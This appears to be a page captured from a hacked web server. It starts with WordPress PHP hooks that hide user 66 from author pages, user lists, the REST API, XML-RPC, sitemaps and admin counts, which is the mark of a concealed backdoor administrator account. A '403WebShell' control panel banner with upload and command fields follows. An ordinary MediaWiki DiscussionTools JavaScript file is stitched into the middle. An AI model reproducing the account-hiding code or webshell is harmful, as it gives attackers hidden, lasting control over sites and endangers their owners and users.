add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wiki/extensions/DiscussionTools/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wiki/extensions/DiscussionTools/modules/modifier.js
'use strict';
/* global $:off */

const
	utils = require( './utils.js' );

/**
 * Remove extra linebreaks from a wikitext string
 *
 * @param {string} wikitext Wikitext
 * @return {string}
 */
function sanitizeWikitextLinebreaks( wikitext ) {
	return utils.htmlTrim( wikitext )
		.replace( /\r/g, '\n' )
		.replace( /\n+/g, '\n' );
}

/**
 * Given a comment and a reply link, add the reply link to its document's DOM tree, at the end of
 * the comment.
 *
 * @param {CommentItem} comment Comment item
 * @param {HTMLElement} linkNode Reply link
 */
function addReplyLink( comment, linkNode ) {
	const target = comment.range.endContainer;

	// Insert the link before trailing whitespace.
	// In the MediaWiki parser output, <ul>/<dl> nodes are preceded by a newline. Normally it isn't
	// visible on the page. But if we insert an inline element (the reply link) after it, it becomes
	// meaningful and gets rendered, which results in additional spacing before some reply links.
	// Split the text node, so that we can insert the link before the trailing whitespace.
	if ( target.nodeType === Node.TEXT_NODE ) {
		target.splitText( target.textContent.match( /\s*$/ ).index );
	}

	target.parentNode.insertBefore( linkNode, target.nextSibling );
}

/**
 * Given a comment, add a list item to its document's DOM tree, inside of which a reply to said
 * comment can be added.
 *
 * The DOM tree is suitably rearranged to ensure correct indentation level of the reply (wrapper
 * nodes are added, and other nodes may be moved around).
 *
 * @param {CommentItem} comment Comment item
 * @param {string} replyIndentation Reply indentation syntax to use, one of:
 *   - 'invisible' (use `<dl><dd>` tags to output `:` in wikitext)
 *   - 'bullet' (use `<ul><li>` tags to output `*` in wikitext)
 * @return {HTMLElement}
 */
function addListItem( comment, replyIndentation ) {
	const listTypeMap = {
		li: 'ul',
		dd: 'dl'
	};

	// 1. Start at given comment
	// 2. Skip past all comments with level greater than the given
	//    (or in other words, all replies, and replies to replies, and so on)
	// 3. Add comment with level of the given comment plus 1

	let curComment = comment;
	while ( curComment.replies.length ) {
		curComment = curComment.replies[ curComment.replies.length - 1 ];
	}

	// Tag names for lists and items we're going to insert
	let itemType;
	if ( replyIndentation === 'invisible' ) {
		itemType = 'dd';
	} else if ( replyIndentation === 'bullet' ) {
		itemType = 'li';
	} else {
		throw new Error( "Invalid reply indentation syntax '" + replyIndentation + "'" );
	}
	const listType = listTypeMap[ itemType ];

	const desiredLevel = comment.level + 1;
	let target = curComment.range.endContainer;

	// target is a text node or an inline element at the end of a "paragraph" (not necessarily paragraph node).
	// First, we need to find a block-level parent that we can mess with.
	// If we can't find a surrounding list item or paragraph (e.g. maybe we're inside a table cell
	// or something), take the parent node and hope for the best.
	let parent = utils.closestElement( target, [ 'li', 'dd', 'p' ] ) || target.parentNode;
	while ( target.parentNode !== parent ) {
		target = target.parentNode;
	}
	// parent is a list item or paragraph (hopefully)
	// target is an inline node within it

	// If the comment is fully covered by some wrapper element, insert replies outside that wrapper.
	// This will often just be a paragraph node (<p>), but it can be a <div> or <table> that serves
	// as some kind of a fancy frame, which are often used for barnstars and announcements.
	const excludedWrapper = utils.closestElement( target, [ 'section' ] ) ||
		curComment.rootNode;
	const covered = utils.getFullyCoveredSiblings( curComment, excludedWrapper );
	if ( curComment.level === 1 && covered ) {
		target = covered[ covered.length - 1 ];
		parent = target.parentNode;
	}

	// If the comment is in a transclusion, insert replies after the transclusion. (T313100)
	// This method should never be called in cases where that would be a bad idea.
	let transclusionNode = utils.getTranscludedFromElement( target );
	if ( transclusionNode ) {
		while (
			transclusionNode.nextSibling &&
			transclusionNode.nextSibling.nodeType === Node.ELEMENT_NODE &&
			transclusionNode.nextSibling.getAttribute( 'about' ) === transclusionNode.getAttribute( 'about' )
		) {
			transclusionNode = transclusionNode.nextSibling;
		}
		target = transclusionNode;
		parent = target.parentNode;
	}

	// If we can't insert a list directly inside this element, insert after it.
	// The covered wrapper check above handles most cases, but we still need this sometimes, such as:
	// * If the comment starts in the middle of a list, then ends with an unindented p/pre, the
	//   wrapper check doesn't adjust the parent
	// * If the comment consists of multiple list items (starting with a <dt>, so that the comment is
	//   considered to be unindented, that is level === 1), but not all of them, the wrapper check
	//   adjusts the parent to be the list, and the rest of the algorithm doesn't handle that well
	if (
		parent.tagName.toLowerCase() === 'p' ||
		parent.tagName.toLowerCase() === 'pre' ||
		parent.tagName.toLowerCase() === 'ul' ||
		parent.tagName.toLowerCase() === 'dl'
	) {
		parent = parent.parentNode;
		target = target.parentNode;
	}

	// HACK: Skip past our own reply buttons
	if ( target.nextSibling && target.nextSibling.nodeType === Node.ELEMENT_NODE && target.nextSibling.classList.contains( 'ext-discussiontools-init-replylink-buttons' ) ) {
		target = target.nextSibling;
	}

	// Instead of just using curComment.level, consider indentation of lists within the
	// comment (T252702)
	let curLevel = utils.getIndentLevel( target, curComment.rootNode ) + 1;

	let item, list;
	if ( desiredLevel === 1 ) {
		// Special handling for top-level comments
		item = target.ownerDocument.createElement( 'div' );
		item.discussionToolsModified = 'new';
		parent.insertBefore( item, target.nextSibling );
		// TODO: We should not insert a <div>, instead we need a function that returns parent and target,
		// so that we can insert nodes in this place in other code

	} else if ( curLevel < desiredLevel ) {
		// Insert more lists after the target to increase nesting.

		// Parsoid puts HTML comments (and other "rendering-transparent nodes", e.g. category links)
		// which appear at the end of the line in wikitext outside the paragraph,
		// but we usually shouldn't insert replies between the paragraph and such comments. (T257651)
		// Skip over comments and whitespace, but only update target when skipping past comments.
		let pointer = target;
		while (
			pointer.nextSibling && (
				utils.isRenderingTransparentNode( pointer.nextSibling ) ||
				(
					pointer.nextSibling.nodeType === Node.TEXT_NODE &&
					utils.htmlTrim( pointer.nextSibling.textContent ) === '' &&
					// If at least two lines of whitespace are detected, the following HTML
					// comments are not considered to be part of the reply (T264026, T301214)
					!/\n[^\n]*\n/.test( pointer.nextSibling.textContent )
				)
			)
		) {
			pointer = pointer.nextSibling;
			if ( utils.isRenderingTransparentNode( pointer ) ) {
				target = pointer;
			}
		}

		// Insert required number of wrappers
		while ( curLevel < desiredLevel ) {
			list = target.ownerDocument.createElement( listType );
			list.discussionToolsModified = 'new';
			item = target.ownerDocument.createElement( itemType );
			item.discussionToolsModified = 'new';

			parent.insertBefore( list, target.nextSibling );
			list.appendChild( item );

			target = item;
			parent = list;
			curLevel++;
		}
	} else {
		// Split the ancestor nodes after the target to decrease nesting.

		let newNode;
		do {
			if ( !target || !parent ) {
				throw new Error( 'Can not decrease nesting any more' );
			}

			// If target is the last child of its parent, no need to split it
			if ( target.nextSibling ) {
				// Create new identical node after the parent
				newNode = parent.cloneNode( false );
				parent.discussionToolsModified = 'split';
				parent.parentNode.insertBefore( newNode, parent.nextSibling );

				// Move nodes following target to the new node
				while ( target.nextSibling ) {
					newNode.appendChild( target.nextSibling );
				}
			}

			target = parent;
			parent = parent.parentNode;

			// Decrease nesting level if we escaped outside of a list
			if ( listTypeMap[ target.tagName.toLowerCase() ] ) {
				curLevel--;
			}
		} while ( curLevel >= desiredLevel );

		// parent is now a list, target is a list item
		if ( itemType === target.tagName.toLowerCase() ) {
			item = target.ownerDocument.createElement( itemType );
			item.discussionToolsModified = 'new';
			parent.insertBefore( item, target.nextSibling );

		} else {
			// This is the wrong type of list, split it one more time

			// If target is the last child of its parent, no need to split it
			if ( target.nextSibling ) {
				// Create new identical node after the parent
				newNode = parent.cloneNode( false );
				parent.discussionToolsModified = 'split';
				parent.parentNode.insertBefore( newNode, parent.nextSibling );

				// Move nodes following target to the new node
				while ( target.nextSibling ) {
					newNode.appendChild( target.nextSibling );
				}
			}

			target = parent;
			parent = parent.parentNode;

			// Insert a list of the right type in the middle
			list = target.ownerDocument.createElement( listType );
			list.discussionToolsModified = 'new';
			item = target.ownerDocument.createElement( itemType );
			item.discussionToolsModified = 'new';

			parent.insertBefore( list, target.nextSibling );
			list.appendChild( item );
		}
	}

	return item;
}

/**
 * Undo the effects of #addListItem, also removing or merging any affected parent nodes.
 *
 * @param {HTMLElement} node
 */
function removeAddedListItem( node ) {
	while ( node && node.discussionToolsModified ) {
		let nextNode;
		if ( node.discussionToolsModified === 'new' ) {
			nextNode = node.previousSibling || node.parentNode;

			// Remove this node
			delete node.discussionToolsModified;
			node.parentNode.removeChild( node );

		} else if ( node.discussionToolsModified === 'split' ) {
			// Children might be split too, if so, descend into them afterwards
			if ( node.lastChild && node.lastChild.discussionToolsModified === 'split' ) {
				node.discussionToolsModified = 'done';
				nextNode = node.lastChild;
			} else {
				delete node.discussionToolsModified;
				nextNode = node.parentNode;
			}
			// Merge the following sibling node back into this one
			while ( node.nextSibling.firstChild ) {
				node.appendChild( node.nextSibling.firstChild );
			}
			node.parentNode.removeChild( node.nextSibling );

		} else {
			nextNode = node.parentNode;
		}

		node = nextNode;
	}
}

/**
 * Unwrap a top level list, converting list item text to paragraphs
 *
 * Assumes that the list has a parent node.
 *
 * @param {Node} list DOM node, will be wrapped if it is a list element (dl/ol/ul)
 * @param {DocumentFragment|null} fragment Containing document fragment if list has no parent
 */
function unwrapList( list, fragment ) {
	if ( !(
		list.nodeType === Node.ELEMENT_NODE && (
			list.tagName.toLowerCase() === 'dl' ||
			list.tagName.toLowerCase() === 'ol' ||
			list.tagName.toLowerCase() === 'ul'
		)
	) ) {
		// Not a list, leave alone (e.g. auto-generated ref block)
		return;
	}

	// If the whole list is a template return it unmodified (T253150)
	if ( utils.getTranscludedFromElement( list ) ) {
		return;
	}

	const doc = list.ownerDocument;
	const container = fragment || list.parentNode;
	let referenceNode = list;
	while ( list.firstChild ) {
		if ( list.firstChild.nodeType === Node.ELEMENT_NODE ) {
			// Move <dd> contents to <p>
			let p = doc.createElement( 'p' );
			while ( list.firstChild.firstChild ) {
				// If contents is a block element, place outside the paragraph
				// and start a new paragraph after
				if ( utils.isBlockElement( list.firstChild.firstChild ) ) {
					if ( p.firstChild ) {
						const insertBefore2 = referenceNode.nextSibling;
						referenceNode = p;
						container.insertBefore( p, insertBefore2 );
					}
					const insertBefore = referenceNode.nextSibling;
					referenceNode = list.firstChild.firstChild;
					container.insertBefore( list.firstChild.firstChild, insertBefore );
					p = doc.createElement( 'p' );
				} else {
					p.appendChild( list.firstChild.firstChild );
				}
			}
			if ( p.firstChild ) {
				const insertBefore = referenceNode.nextSibling;
				referenceNode = p;
				container.insertBefore( p, insertBefore );
			}
			list.removeChild( list.firstChild );
		} else {
			// Text node / comment node, probably empty
			const insertBefore = referenceNode.nextSibling;
			referenceNode = list.firstChild;
			container.insertBefore( list.firstChild, insertBefore );
		}
	}
	container.removeChild( list );
}

/**
 * Add another list item after the given one.
 *
 * @param {HTMLElement} previousItem
 * @return {HTMLElement}
 */
function addSiblingListItem( previousItem ) {
	const listItem = previousItem.ownerDocument.createElement( previousItem.tagName );
	previousItem.parentNode.insertBefore( listItem, previousItem.nextSibling );
	return listItem;
}

module.exports = {
	addReplyLink: addReplyLink,
	addListItem: addListItem,
	removeAddedListItem: removeAddedListItem,
	addSiblingListItem: addSiblingListItem,
	unwrapList: unwrapList,
	sanitizeWikitextLinebreaks: sanitizeWikitextLinebreaks
};

Youez - 2016 - github.com/yon3zu
LinuXploit